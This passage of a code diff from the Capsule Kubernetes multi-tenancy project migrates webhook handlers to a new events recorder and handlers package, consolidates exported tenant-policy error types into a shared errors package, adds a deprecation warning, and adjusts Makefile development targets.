    +				)
    +
    +				return &resp
    +			}
    +		}
    +	}
    +
    +	return nil
    +}
    
  • internal/webhook/tenant/validation/serviceaccount_format.go+6 6 modified
    @@ -8,34 +8,34 @@ import (
     	"fmt"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type saNameHandler struct{}
     
    -func ServiceAccountNameHandler() capsulewebhook.Handler {
    +func ServiceAccountNameHandler() handlers.Handler {
     	return &saNameHandler{}
     }
     
    -func (h *saNameHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *saNameHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.validateServiceAccountName(req, decoder)
     	}
     }
     
    -func (h *saNameHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *saNameHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *saNameHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *saNameHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		return h.validateServiceAccountName(req, decoder)
     	}
    
  • internal/webhook/tenant/validation/storageclass_regex.go+7 7 modified
    @@ -8,22 +8,22 @@ import (
     	"context"
     	"regexp"
     
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type storageClassRegexHandler struct{}
     
    -func StorageClassRegexHandler() capsulewebhook.Handler {
    +func StorageClassRegexHandler() handlers.Handler {
     	return &storageClassRegexHandler{}
     }
     
    -func (h *storageClassRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *storageClassRegexHandler) OnCreate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    @@ -33,13 +33,13 @@ func (h *storageClassRegexHandler) OnCreate(_ client.Client, decoder admission.D
     	}
     }
     
    -func (h *storageClassRegexHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *storageClassRegexHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *storageClassRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *storageClassRegexHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		if err := h.validate(decoder, req); err != nil {
     			return err
    @@ -49,13 +49,13 @@ func (h *storageClassRegexHandler) OnUpdate(_ client.Client, decoder admission.D
     	}
     }
     
    -//nolint:staticcheck
     func (h *storageClassRegexHandler) validate(decoder admission.Decoder, req admission.Request) *admission.Response {
     	tenant := &capsulev1beta2.Tenant{}
     	if err := decoder.Decode(req, tenant); err != nil {
     		return utils.ErroredResponse(err)
     	}
     
    +	//nolint:staticcheck
     	if tenant.Spec.StorageClasses != nil && len(tenant.Spec.StorageClasses.Regex) > 0 {
     		if _, err := regexp.Compile(tenant.Spec.StorageClasses.Regex); err != nil {
     			response := admission.Denied("unable to compile storageClasses allowedRegex")
    
  • internal/webhook/tenant/validation/warnings.go+16 7 modified
    @@ -7,27 +7,27 @@ import (
     	"context"
     
     	admissionv1 "k8s.io/api/admission/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	capsulewebhook "github.com/projectcapsule/capsule/internal/webhook"
     	"github.com/projectcapsule/capsule/internal/webhook/utils"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/runtime/handlers"
     )
     
     type warningHandler struct {
     	cfg configuration.Configuration
     }
     
    -func WarningHandler(cfg configuration.Configuration) capsulewebhook.Handler {
    +func WarningHandler(cfg configuration.Configuration) handlers.Handler {
     	return &warningHandler{
     		cfg: cfg,
     	}
     }
     
    -func (h *warningHandler) OnCreate(c client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnCreate(c client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(ctx context.Context, req admission.Request) *admission.Response {
     		tnt := &capsulev1beta2.Tenant{}
     		if err := decoder.Decode(req, tnt); err != nil {
    @@ -38,13 +38,13 @@ func (h *warningHandler) OnCreate(c client.Client, decoder admission.Decoder, _
     	}
     }
     
    -func (h *warningHandler) OnDelete(client.Client, admission.Decoder, record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnDelete(client.Client, admission.Decoder, events.EventRecorder) handlers.Func {
     	return func(context.Context, admission.Request) *admission.Response {
     		return nil
     	}
     }
     
    -func (h *warningHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ record.EventRecorder) capsulewebhook.Func {
    +func (h *warningHandler) OnUpdate(_ client.Client, decoder admission.Decoder, _ events.EventRecorder) handlers.Func {
     	return func(_ context.Context, req admission.Request) *admission.Response {
     		tnt := &capsulev1beta2.Tenant{}
     		if err := decoder.Decode(req, tnt); err != nil {
    @@ -63,6 +63,15 @@ func (h *warningHandler) handle(tnt *capsulev1beta2.Tenant, decoder admission.De
     		},
     	}
     
    +	//nolint:staticcheck
    +	if tnt.Spec.ContainerRegistries != nil {
    +		if len(tnt.Spec.ContainerRegistries.Exact) > 0 || len(tnt.Spec.ContainerRegistries.Regex) > 0 {
    +			response.Warnings = append(response.Warnings,
    +				"The field `containerRegistries` is deprecated and will be removed in a future release. Please migrate to rules. See: https://projectcapsule.dev/docs/tenants/rules.",
    +			)
    +		}
    +	}
    +
     	//nolint:staticcheck
     	if len(tnt.Spec.LimitRanges.Items) > 0 {
     		response.Warnings = append(response.Warnings,
    
  • internal/webhook/utils/tenant_get.go+4 4 modified
    @@ -10,13 +10,13 @@ import (
     	"strings"
     
     	corev1 "k8s.io/api/core/v1"
    -	"k8s.io/client-go/tools/record"
    +	"k8s.io/client-go/tools/events"
     	"sigs.k8s.io/controller-runtime/pkg/client"
     	"sigs.k8s.io/controller-runtime/pkg/webhook/admission"
     
     	capsulev1beta2 "github.com/projectcapsule/capsule/api/v1beta2"
    -	"github.com/projectcapsule/capsule/pkg/configuration"
    -	"github.com/projectcapsule/capsule/pkg/utils/tenant"
    +	"github.com/projectcapsule/capsule/pkg/runtime/configuration"
    +	"github.com/projectcapsule/capsule/pkg/tenant"
     )
     
     // getNamespaceTenant returns namespace owner tenant.
    @@ -26,7 +26,7 @@ func GetNamespaceTenant(
     	ns *corev1.Namespace,
     	req admission.Request,
     	cfg configuration.Configuration,
    -	recorder record.EventRecorder,
    +	recorder events.EventRecorder,
     ) (*capsulev1beta2.Tenant, *admission.Response) {
     	tnt, err := tenant.GetTenantByLabelsAndUser(ctx, client, cfg, ns, req.UserInfo)
     	if err != nil {
    
  • Makefile+10 9 modified
    @@ -92,7 +92,7 @@ helm-schema: helm-plugin-schema
     helm-test: HELM_KIND_CONFIG ?= ""
     helm-test: kind
     	@mkdir -p /tmp/results || true
    -	@$(KIND) create cluster --wait=60s --name capsule-charts --image kindest/node:$(KUBERNETES_SUPPORTED_VERSION) --config $(HELM_KIND_CONFIG)
    +	@$(KIND) create cluster --wait=60s --name capsule-charts --image kindest/node:$(KUBERNETES_SUPPORTED_VERSION) --config ./hack/kind-cluster.yaml
     	@make helm-test-exec
     	@$(KIND) delete cluster --name capsule-charts
     
    @@ -104,7 +104,7 @@ helm-test-exec: ct helm-controller-version ko-build-all
     
     # Setup development env
     dev-build: kind
    -	$(KIND) create cluster --wait=60s --name $(CLUSTER_NAME) --image kindest/node:$(KUBERNETES_SUPPORTED_VERSION)
    +	$(KIND) create cluster --wait=60s --name $(CLUSTER_NAME) --image kindest/node:$(KUBERNETES_SUPPORTED_VERSION) --config ./hack/kind-cluster.yaml
     	$(MAKE) dev-install-deps
     
     .PHONY: dev-destroy
    @@ -220,12 +220,12 @@ dev-setup-capsule: dev-setup-fluxcd
     
     dev-setup-capsule-example: dev-setup-fluxcd
     	@$(KUBECTL) kustomize --load-restrictor='LoadRestrictionsNone' hack/distro/capsule/example-setup | envsubst | kubectl apply -f -
    -	@$(KUBECTL) create ns wind-test --as joe --as-group projectcapsule.dev
    -	@$(KUBECTL) create ns wind-prod --as joe --as-group projectcapsule.dev
    -	@$(KUBECTL) create ns green-test --as bob --as-group projectcapsule.dev
    -	@$(KUBECTL) create ns green-prod --as bob --as-group projectcapsule.dev
    -	@$(KUBECTL) create ns solar-test --as alice --as-group projectcapsule.dev
    -	@$(KUBECTL) create ns solar-prod --as alice --as-group projectcapsule.dev
    +	@$(KUBECTL) create ns wind-test --as joe --as-group projectcapsule.dev || true
    +	@$(KUBECTL) create ns wind-prod --as joe --as-group projectcapsule.dev || true
    +	@$(KUBECTL) create ns green-test --as bob --as-group projectcapsule.dev || true
    +	@$(KUBECTL) create ns green-prod --as bob --as-group projectcapsule.dev || true
    +	@$(KUBECTL) create ns solar-test --as alice --as-group projectcapsule.dev || true
    +	@$(KUBECTL) create ns solar-prod --as alice --as-group projectcapsule.dev || true
     
     wait-for-helmreleases:
     	@ echo "Waiting for all HelmReleases to have observedGeneration >= 0..."
    @@ -316,7 +316,7 @@ e2e-build: kind
     	$(MAKE) e2e-install
     
     .PHONY: e2e-install
    -e2e-install: ko-build-all
    +e2e-install: helm-controller-version ko-build-all
     	$(MAKE) e2e-load-image CLUSTER_NAME=$(CLUSTER_NAME) IMAGE=$(CAPSULE_IMG) VERSION=$(VERSION)
     	$(HELM) upgrade \
     	    --dependency-update \
    @@ -331,6 +331,7 @@ e2e-install: ko-build-all
     		--set 'manager.livenessProbe.failureThreshold=10' \
     		--set 'webhooks.hooks.nodes.enabled=true' \
     		--set "webhooks.exclusive=true"\
    +		--set "manager.options.logLevel=debug"\
     		capsule \
     		./charts/capsule
     
    
  • .nwa-config+2 1 modified
    @@ -1,12 +1,13 @@
     nwa:
       cmd: "update"
       holder: "Project Capsule Authors"
    -  year: "2020-2025"
    +  year: "2020-2026"
       spdxids: "Apache-2.0"
       path:
         - "pkg/**/*.go"
         - "cmd/**/*.go"
         - "api/**/*.go"
    +    - "internal/**/*.go"
         - "controllers/**/*.go"
         - "main.go"
       mute: false
    
  • pkg/api/allowed_list_test.go+5 4 modified
    @@ -1,12 +1,13 @@
    -// Copyright 2020-2025 Project Capsule Authors
    +// Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
     //nolint:dupl
    -package api
    +package api_test
     
     import (
     	"testing"
     
    +	"github.com/projectcapsule/capsule/pkg/api"
     	"github.com/stretchr/testify/assert"
     )
     
    @@ -34,7 +35,7 @@ func TestAllowedListSpec_ExactMatch(t *testing.T) {
     			[]string{"any", "value"},
     		},
     	} {
    -		a := AllowedListSpec{
    +		a := api.AllowedListSpec{
     			Exact: tc.In,
     		}
     
    @@ -59,7 +60,7 @@ func TestAllowedListSpec_RegexMatch(t *testing.T) {
     		{`first-\w+-pattern`, []string{"first-date-pattern", "first-year-pattern"}, []string{"broken", "first-year", "second-date-pattern"}},
     		{``, nil, []string{"any", "value"}},
     	} {
    -		a := AllowedListSpec{
    +		a := api.AllowedListSpec{
     			Regex: tc.Regex,
     		}
     
    
  • pkg/api/errors/devices.go+7 7 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package dra
    +package errors
     
     import (
     	"fmt"
    @@ -10,34 +10,34 @@ import (
     	"github.com/projectcapsule/capsule/pkg/api"
     )
     
    -type deviceClassForbiddenError struct {
    +type DeviceClassForbiddenError struct {
     	deviceClassName string
     	spec            api.SelectorAllowedListSpec
     }
     
    -func (i deviceClassForbiddenError) Error() string {
    +func (i DeviceClassForbiddenError) Error() string {
     	err := fmt.Sprintf("Device Class %s is forbidden for the current Tenant: ", i.deviceClassName)
     
     	return utils.AllowedValuesErrorMessage(i.spec, err)
     }
     
     func NewDeviceClassForbidden(class string, spec api.SelectorAllowedListSpec) error {
    -	return &deviceClassForbiddenError{
    +	return &DeviceClassForbiddenError{
     		deviceClassName: class,
     		spec:            spec,
     	}
     }
     
    -type deviceClassUndefinedError struct {
    +type DeviceClassUndefinedError struct {
     	spec api.SelectorAllowedListSpec
     }
     
     func NewDeviceClassUndefined(spec api.SelectorAllowedListSpec) error {
    -	return &deviceClassUndefinedError{
    +	return &DeviceClassUndefinedError{
     		spec: spec,
     	}
     }
     
    -func (i deviceClassUndefinedError) Error() string {
    +func (i DeviceClassUndefinedError) Error() string {
     	return utils.AllowedValuesErrorMessage(i.spec, "Selected DeviceClass is forbidden for the current Tenant or does not exist. Specify a device Class which is allowed by ")
     }
    
  • pkg/api/errors/evented.go+46 0 added
    @@ -0,0 +1,46 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package errors
    +
    +import (
    +	"errors"
    +
    +	corev1 "k8s.io/api/core/v1"
    +	"k8s.io/apimachinery/pkg/runtime"
    +	"k8s.io/client-go/tools/events"
    +)
    +
    +type EventedError interface {
    +	error
    +	Reason() string // UpperCamelCase, short
    +	Action() string // UpperCamelCase, short (<=128)
    +}
    +
    +func RecordTypedErrorEvent(
    +	recorder events.EventRecorder,
    +	regarding runtime.Object,
    +	related runtime.Object,
    +	err error,
    +) {
    +	if recorder == nil || regarding == nil || err == nil {
    +		return
    +	}
    +
    +	var ee EventedError
    +	if !errors.As(err, &ee) {
    +		return
    +	}
    +
    +	defer func() { _ = recover() }()
    +
    +	recorder.Eventf(
    +		regarding,
    +		related,
    +		corev1.EventTypeWarning,
    +		ee.Reason(),
    +		ee.Action(),
    +		"%s", // note
    +		err.Error(),
    +	)
    +}
    
  • pkg/api/errors/gateway.go+78 0 added
    @@ -0,0 +1,78 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package errors
    +
    +import (
    +	"fmt"
    +	"reflect"
    +
    +	gatewayv1 "sigs.k8s.io/gateway-api/apis/v1"
    +
    +	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +type GatewayClassError struct {
    +	gatewayClass string
    +	msg          error
    +}
    +
    +func NewGatewayClassError(class string, msg error) error {
    +	return &GatewayClassError{
    +		gatewayClass: class,
    +		msg:          msg,
    +	}
    +}
    +
    +func (e GatewayClassError) Error() string {
    +	return fmt.Sprintf("Failed to resolve Gateway Class %s: %s", e.gatewayClass, e.msg)
    +}
    +
    +type GatewayError struct {
    +	gateway string
    +	msg     error
    +}
    +
    +func NewGatewayError(gateway gatewayv1.ObjectName, msg error) error {
    +	return &GatewayError{
    +		gateway: reflect.ValueOf(gateway).String(),
    +		msg:     msg,
    +	}
    +}
    +
    +func (e GatewayError) Error() string {
    +	return fmt.Sprintf("Failed to resolve Gateway %s: %s", e.gateway, e.msg)
    +}
    +
    +type GatewayClassForbiddenError struct {
    +	gatewayClassName string
    +	spec             api.DefaultAllowedListSpec
    +}
    +
    +func NewGatewayClassForbidden(class string, spec api.DefaultAllowedListSpec) error {
    +	return &GatewayClassForbiddenError{
    +		gatewayClassName: class,
    +		spec:             spec,
    +	}
    +}
    +
    +func (i GatewayClassForbiddenError) Error() string {
    +	err := fmt.Sprintf("Gateway Class %s is forbidden for the current Tenant: ", i.gatewayClassName)
    +
    +	return utils.DefaultAllowedValuesErrorMessage(i.spec, err)
    +}
    +
    +type GatewayClassUndefinedError struct {
    +	spec api.DefaultAllowedListSpec
    +}
    +
    +func NewGatewayClassUndefined(spec api.DefaultAllowedListSpec) error {
    +	return &GatewayClassUndefinedError{
    +		spec: spec,
    +	}
    +}
    +
    +func (i GatewayClassUndefinedError) Error() string {
    +	return utils.DefaultAllowedValuesErrorMessage(i.spec, "No gateway Class is forbidden for the current Tenant. Specify a gateway Class which is allowed within the Tenant: ")
    +}
    
  • pkg/api/errors/ingress.go+35 19 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package ingress
    +package errors
     
     import (
     	"fmt"
    @@ -11,92 +11,108 @@ import (
     	"github.com/projectcapsule/capsule/pkg/api"
     )
     
    -type ingressClassForbiddenError struct {
    +type IngressClassError struct {
    +	ingressClass string
    +	msg          error
    +}
    +
    +func NewIngressClassError(class string, msg error) error {
    +	return &IngressClassError{
    +		ingressClass: class,
    +		msg:          msg,
    +	}
    +}
    +
    +func (e IngressClassError) Error() string {
    +	return fmt.Sprintf("Failed to resolve Ingress Class %s: %s", e.ingressClass, e.msg)
    +}
    +
    +type IngressClassForbiddenError struct {
     	ingressClassName string
     	spec             api.DefaultAllowedListSpec
     }
     
     func NewIngressClassForbidden(class string, spec api.DefaultAllowedListSpec) error {
    -	return &ingressClassForbiddenError{
    +	return &IngressClassForbiddenError{
     		ingressClassName: class,
     		spec:             spec,
     	}
     }
     
    -func (i ingressClassForbiddenError) Error() string {
    +func (i IngressClassForbiddenError) Error() string {
     	err := fmt.Sprintf("Ingress Class %s is forbidden for the current Tenant: ", i.ingressClassName)
     
     	return utils.DefaultAllowedValuesErrorMessage(i.spec, err)
     }
     
    -type ingressHostnameNotValidError struct {
    +type IngressHostnameNotValidError struct {
     	invalidHostnames     []string
     	notMatchingHostnames []string
     	spec                 api.AllowedListSpec
     }
     
    -type ingressHostnameCollisionError struct {
    +type IngressHostnameCollisionError struct {
     	hostname string
     }
     
    -func (i ingressHostnameCollisionError) Error() string {
    +func (i IngressHostnameCollisionError) Error() string {
     	return fmt.Sprintf("hostname %s is already used across the cluster: please, reach out to the system administrators", i.hostname)
     }
     
     func NewIngressHostnameCollision(hostname string) error {
    -	return &ingressHostnameCollisionError{hostname: hostname}
    +	return &IngressHostnameCollisionError{hostname: hostname}
     }
     
     func NewEmptyIngressHostname(spec api.AllowedListSpec) error {
    -	return &emptyIngressHostnameError{
    +	return &EmptyIngressHostnameError{
     		spec: spec,
     	}
     }
     
    -type emptyIngressHostnameError struct {
    +type EmptyIngressHostnameError struct {
     	spec api.AllowedListSpec
     }
     
    -func (e emptyIngressHostnameError) Error() string {
    +func (e EmptyIngressHostnameError) Error() string {
     	return fmt.Sprintf("empty hostname is not allowed for the current Tenant%s", appendHostnameError(e.spec))
     }
     
     func NewIngressHostnamesNotValid(invalidHostnames []string, notMatchingHostnames []string, spec api.AllowedListSpec) error {
    -	return &ingressHostnameNotValidError{invalidHostnames: invalidHostnames, notMatchingHostnames: notMatchingHostnames, spec: spec}
    +	return &IngressHostnameNotValidError{invalidHostnames: invalidHostnames, notMatchingHostnames: notMatchingHostnames, spec: spec}
     }
     
    -func (i ingressHostnameNotValidError) Error() string {
    +func (i IngressHostnameNotValidError) Error() string {
     	return fmt.Sprintf("Hostnames %s are not valid for the current Tenant. Hostnames %s not matching for the current Tenant%s",
     		i.invalidHostnames, i.notMatchingHostnames, appendHostnameError(i.spec))
     }
     
    -type ingressClassUndefinedError struct {
    +type IngressClassUndefinedError struct {
     	spec api.DefaultAllowedListSpec
     }
     
     func NewIngressClassUndefined(spec api.DefaultAllowedListSpec) error {
    -	return &ingressClassUndefinedError{
    +	return &IngressClassUndefinedError{
     		spec: spec,
     	}
     }
     
    -func (i ingressClassUndefinedError) Error() string {
    +func (i IngressClassUndefinedError) Error() string {
     	return utils.DefaultAllowedValuesErrorMessage(i.spec, "No Ingress Class is forbidden for the current Tenant. Specify a Ingress Class which is allowed within the Tenant: ")
     }
     
    -type ingressClassNotValidError struct {
    +type IngressClassNotValidError struct {
     	ingressClassName string
     	spec             api.DefaultAllowedListSpec
     }
     
     func NewIngressClassNotValid(class string, spec api.DefaultAllowedListSpec) error {
    -	return &ingressClassNotValidError{
    +	return &IngressClassNotValidError{
     		ingressClassName: class,
     		spec:             spec,
     	}
     }
     
    -func (i ingressClassNotValidError) Error() string {
    +func (i IngressClassNotValidError) Error() string {
     	err := fmt.Sprintf("Ingress Class %s is forbidden for the current Tenant: ", i.ingressClassName)
     
     	return utils.DefaultAllowedValuesErrorMessage(i.spec, err)
    
  • pkg/api/errors/misc.go+13 1 renamed
    @@ -1,10 +1,22 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package tls
    +package errors
     
     type RunningInOutOfClusterModeError struct{}
     
     func (r RunningInOutOfClusterModeError) Error() string {
     	return "cannot retrieve the leader Pod, probably running in out of the cluster mode"
     }
    +
    +type CaNotYetValidError struct{}
    +
    +func (CaNotYetValidError) Error() string {
    +	return "The current CA is not yet valid"
    +}
    +
    +type CaExpiredError struct{}
    +
    +func (CaExpiredError) Error() string {
    +	return "The current CA is expired"
    +}
    
  • pkg/api/errors/namespaces.go+4 4 renamed
    @@ -1,14 +1,14 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package validation
    +package errors
     
    -type namespaceQuotaExceededError struct{}
    +type NamespaceQuotaExceededError struct{}
     
     func NewNamespaceQuotaExceededError() error {
    -	return &namespaceQuotaExceededError{}
    +	return &NamespaceQuotaExceededError{}
     }
     
    -func (namespaceQuotaExceededError) Error() string {
    +func (NamespaceQuotaExceededError) Error() string {
     	return "Cannot exceed Namespace quota: please, reach out to the system administrators"
     }
    
  • pkg/api/errors/nodes.go+7 7 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package node
    +package errors
     
     import (
     	"fmt"
    @@ -27,30 +27,30 @@ func appendForbiddenError(spec *capsulev1beta2.ForbiddenListSpec) (append string
     	return append
     }
     
    -type nodeLabelForbiddenError struct {
    +type NodeLabelForbiddenError struct {
     	spec *capsulev1beta2.ForbiddenListSpec
     }
     
     func NewNodeLabelForbiddenError(forbiddenSpec *capsulev1beta2.ForbiddenListSpec) error {
    -	return &nodeLabelForbiddenError{
    +	return &NodeLabelForbiddenError{
     		spec: forbiddenSpec,
     	}
     }
     
    -func (f nodeLabelForbiddenError) Error() string {
    +func (f NodeLabelForbiddenError) Error() string {
     	return fmt.Sprintf("Unable to update node as some labels are marked as forbidden by system administrator. %s", appendForbiddenError(f.spec))
     }
     
    -type nodeAnnotationForbiddenError struct {
    +type NodeAnnotationForbiddenError struct {
     	spec *capsulev1beta2.ForbiddenListSpec
     }
     
     func NewNodeAnnotationForbiddenError(forbiddenSpec *capsulev1beta2.ForbiddenListSpec) error {
    -	return &nodeAnnotationForbiddenError{
    +	return &NodeAnnotationForbiddenError{
     		spec: forbiddenSpec,
     	}
     }
     
    -func (f nodeAnnotationForbiddenError) Error() string {
    +func (f NodeAnnotationForbiddenError) Error() string {
     	return fmt.Sprintf("Unable to update node as some annotations are marked as forbidden by system administrator. %s", appendForbiddenError(f.spec))
     }
    
  • pkg/api/errors/pods.go+137 0 added
    @@ -0,0 +1,137 @@
    +// Copyright 2020-2026 Project Capsule Authors
    +// SPDX-License-Identifier: Apache-2.0
    +
    +package errors
    +
    +import (
    +	"fmt"
    +	"strings"
    +
    +	"github.com/projectcapsule/capsule/internal/webhook/utils"
    +	"github.com/projectcapsule/capsule/pkg/api"
    +)
    +
    +type PriorityClassError struct {
    +	priorityClass string
    +	msg           error
    +}
    +
    +func NewPriorityClassError(class string, msg error) error {
    +	return &PriorityClassError{
    +		priorityClass: class,
    +		msg:           msg,
    +	}
    +}
    +
    +func (e PriorityClassError) Error() string {
    +	return fmt.Sprintf("Failed to resolve Priority Class %s: %s", e.priorityClass, e.msg)
    +}
    +
    +type NoPodMetadataError struct {
    +	objectName string
    +}
    +
    +func NewNoPodMetadata(objectName string) error {
    +	return &NoPodMetadataError{objectName: objectName}
    +}
    +
    +func (n NoPodMetadataError) Error() string {
    +	return fmt.Sprintf("Skipping labels sync for %s because no AdditionalLabels or AdditionalAnnotations presents in Tenant spec", n.objectName)
    +}
    +
    +type missingContainerRegistryError struct {
    +	fqci string
    +}
    +
    +func (m missingContainerRegistryError) Error() string {
    +	return fmt.Sprintf("container image %s is missing repository, please, use a fully qualified container image name", m.fqci)
    +}
    +
    +func NewMissingContainerRegistryError(image string) error {
    +	return &missingContainerRegistryError{fqci: image}
    +}
    +
    +type RegistryClassForbiddenError struct {
    +	fqci string
    +	spec api.AllowedListSpec
    +}
    +
    +func NewContainerRegistryForbidden(image string, spec api.AllowedListSpec) error {
    +	return &RegistryClassForbiddenError{
    +		fqci: image,
    +		spec: spec,
    +	}
    +}
    +
    +func (f RegistryClassForbiddenError) Error() (err string) {
    +	err = fmt.Sprintf("Container image %s registry is forbidden for the current Tenant: ", f.fqci)
    +
    +	var extra []string
    +
    +	if len(f.spec.Exact) > 0 {
    +		extra = append(extra, fmt.Sprintf("use one from the following list (%s)", strings.Join(f.spec.Exact, ", ")))
    +	}
    +
    +	//nolint:staticcheck
    +	if len(f.spec.Regex) > 0 {
    +		extra = append(extra, fmt.Sprintf(" use one matching the following regex (%s)", f.spec.Regex))
    +	}
    +
    +	err += strings.Join(extra, " or ")
    +
    +	return err
    +}
    +
    +type ImagePullPolicyForbiddenError struct {
    +	usedPullPolicy      string
    +	allowedPullPolicies []string
    +	containerName       string
    +}
    +
    +func NewImagePullPolicyForbidden(usedPullPolicy, containerName string, allowedPullPolicies []string) error {
    +	return &ImagePullPolicyForbiddenError{
    +		usedPullPolicy:      usedPullPolicy,
    +		containerName:       containerName,
    +		allowedPullPolicies: allowedPullPolicies,
    +	}
    +}
    +
    +func (f ImagePullPolicyForbiddenError) Error() (err string) {
    +	return fmt.Sprintf("ImagePullPolicy %s for container %s is forbidden, use one of the followings: %s", f.usedPullPolicy, f.containerName, strings.Join(f.allowedPullPolicies, ", "))
    +}
    +
    +type PodPriorityClassForbiddenError struct {
    +	priorityClassName string
    +	spec              api.DefaultAllowedListSpec
    +}
    +
    +func NewPodPriorityClassForbidden(priorityClassName string, spec api.DefaultAllowedListSpec) error {
    +	return &PodPriorityClassForbiddenError{
    +		priorityClassName: priorityClassName,
    +		spec:              spec,
    +	}
    +}
    +
    +func (f PodPriorityClassForbiddenError) Error() (err string) {
    +	msg := fmt.Sprintf("Pod Priority Class %s is forbidden for the current Tenant: ", f.priorityClassName)
    +
    +	return utils.DefaultAllowedValuesErrorMessage(f.spec, msg)
    +}
    +
    +type PodRuntimeClassForbiddenError struct {
    +	runtimeClassName string
    +	spec             api.DefaultAllowedListSpec
    +}
    +
    +func NewPodRuntimeClassForbidden(runtimeClassName string, spec api.DefaultAllowedListSpec) error {
    +	return &PodRuntimeClassForbiddenError{
    +		runtimeClassName: runtimeClassName,
    +		spec:             spec,
    +	}
    +}
    +
    +func (f PodRuntimeClassForbiddenError) Error() (err string) {
    +	err = fmt.Sprintf("Pod Runtime Class %s is forbidden for the current Tenant: ", f.runtimeClassName)
    +
    +	return utils.DefaultAllowedValuesErrorMessage(f.spec, err)
    +}
    
  • pkg/api/errors/services.go+25 13 renamed
    @@ -1,7 +1,7 @@
     // Copyright 2020-2026 Project Capsule Authors
     // SPDX-License-Identifier: Apache-2.0
     
    -package service
    +package errors
     
     import (
     	"fmt"
    @@ -10,7 +10,19 @@ import (
     	"github.com/projectcapsule/capsule/pkg/api"
     )
     
    -type externalServiceIPForbiddenError struct {
    +type NoServicesMetadataError struct {
    +	objectName string
    +}
    +
    +func NewNoServicesMetadata(objectName string) error {
    +	return &NoServicesMetadataError{objectName: objectName}
    +}
    +
    +func (n NoServicesMetadataError) Error() string {
    +	return fmt.Sprintf("Skipping labels sync for %s because no AdditionalLabels or AdditionalAnnotations presents in Tenant spec", n.objectName)
    +}
    +
    +type ExternalServiceIPForbiddenError struct {
     	cidr []string
     }
     
    @@ -21,45 +33,45 @@ func NewExternalServiceIPForbidden(allowedIps []api.AllowedIP) error {
     		cidr = append(cidr, string(i))
     	}
     
    -	return &externalServiceIPForbiddenError{
    +	return &ExternalServiceIPForbiddenError{
     		cidr: cidr,
     	}
     }
     
    -func (e externalServiceIPForbiddenError) Error() string {
    +func (e ExternalServiceIPForbiddenError) Error() string {
     	if len(e.cidr) == 0 {
     		return "The current Tenant does not allow the use of Service with external IPs"
     	}
     
